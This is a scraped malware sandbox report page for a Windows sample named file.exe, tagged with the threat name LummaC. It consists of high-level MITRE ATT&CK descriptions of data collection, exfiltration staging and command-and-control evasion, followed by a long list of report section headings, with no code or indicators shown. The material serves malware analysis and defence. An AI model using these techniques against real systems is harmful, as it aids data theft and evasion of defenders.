Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Windows Analysis Report
file.exe